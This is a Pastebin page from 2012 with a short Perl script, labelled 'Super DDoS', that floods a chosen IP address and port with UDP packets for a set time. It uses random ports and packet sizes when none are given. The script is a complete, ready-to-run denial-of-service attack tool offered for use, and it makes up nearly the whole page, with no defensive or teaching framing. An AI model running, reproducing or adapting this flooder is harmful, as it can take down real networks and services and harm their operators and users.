Want more features on Pastebin? Sign Up, it's FREE!
Guest

Script DDoS Perl (English)

By: a guest on Dec 16th, 2012  |  syntax: None  |  size: 1.14 KB  |  views: 2,597  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/perl
  2.  
  3. ##############
  4. # udp flood.
  5. ##############
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. if ($#ARGV != 3) {
  11.   print " \n";
  12.   print " Super DDoS // by Adrien\n\n";
  13.   print " * Order: flood.pl <IP-address> <Port> <Packets> <Time (In seconds)>\n";
  14.   print " - * Port: Port to flood. Set to 0 for all.\n";
  15.   print " - * Packets: The number of packets to send. Between 64 and 1024.\n";
  16.   print " - * Time: Flood time in seconds.\n";
  17.   exit(1);
  18. }
  19.  
  20. my ($ip,$port,$size,$time) = @ARGV;
  21.  
  22. my ($iaddr,$endtime,$psize,$pport);
  23.  
  24. $iaddr = inet_aton("$ip") or die "Unable to connect to $ip\n";
  25. $endtime = time() + ($time ? $time : 1000000);
  26.  
  27. socket(flood, PF_INET, SOCK_DGRAM, 17);
  28.  
  29.  
  30. print "Flooding in ongoing $ip with the port " . ($port ? $port : "random") . ", sends to " .
  31.   ($size ? "$size-byte" : "random size") . " packets" .
  32.   ($time ? " for $time seconds" : "") . "\n";
  33. print "Attack stopped with Ctrl-C\n" unless $time;
  34.  
  35. for (;time() <= $endtime;) {
  36.   $psize = $size ? $size : int(rand(1500-64)+64) ;
  37.   $pport = $port ? $port : int(rand(65500))+1;
  38.  
  39.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
clone this paste RAW Paste Data